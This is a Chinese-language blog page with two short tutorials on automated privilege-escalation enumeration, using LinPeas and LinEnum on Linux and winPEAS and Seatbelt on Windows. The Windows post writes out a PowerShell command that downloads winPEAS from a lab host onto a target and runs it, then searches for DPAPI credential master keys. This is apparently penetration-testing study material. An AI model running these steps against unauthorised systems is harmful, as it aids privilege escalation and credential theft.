發表文章

目前顯示的是有「automation」標籤的文章

Linux 自動列舉

圖片
 Linux 自動列舉 Linux 自動列舉的 Script :  /usr/bin/unix-privesc-check 當中有幾個值得關注的地方 此輸出表示系統上的任何人都可以編輯 /etc/passwd ############################################ Checking for writable config files ############################################ WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd     Checking if anyone except root can change /etc/group     Checking if anyone except root can change /etc/fstab     Checking if anyone except root can change /etc/profile     Checking if anyone except root can change /etc/sudoers     Checking if anyone except root can change /etc/shadow 還有許多其他專門為 Linux 權限升級資訊收集而定制的工具值得一提,包括 LinEnum、LinPeas LinEnum 下載 :  https://github.com/rebootuser/LinEnum Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t LinPeas 下載 :  https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS Example: ./linpeas.sh -a > /dev/shm/linpeas.txt

Windows 自動化列舉

圖片
Windows 自動化列舉  winPEAS 是一個自動化列舉的工具,方便我們在有限的時間內進行自動化列舉 先安裝 PEASS,參考此網址  https://www.kali.org/tools/peass-ng/   透過指令  linpeas -h  &  peass -h  進行安裝 然後到目標的 Windows 機器上啟動 PowerShell 透過 iwr 指令去下載該執行檔,指令如下 iwr -uri http://192.168.45.228/winPEASx64.exe -Outfile winPEAS.exe 接著直接執行 .\winPEAS.exe > winPEAS.txt 輸出到檔案方便查看 目標要查找標題為 Checking for DPAPI Credential Files 的輸出當中的主密鑰,如下 可以上傳另一個自動化列舉工具 Seatbelt,可以在這裡下載 https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe 下載後上傳到目標主機,於 PowerShell 底下執行指令 .\Seatbelt.exe -group=all 查找名為 InstalledProducts 的部分並找到 XAMPP 的條目。DisplayVersion 的值如下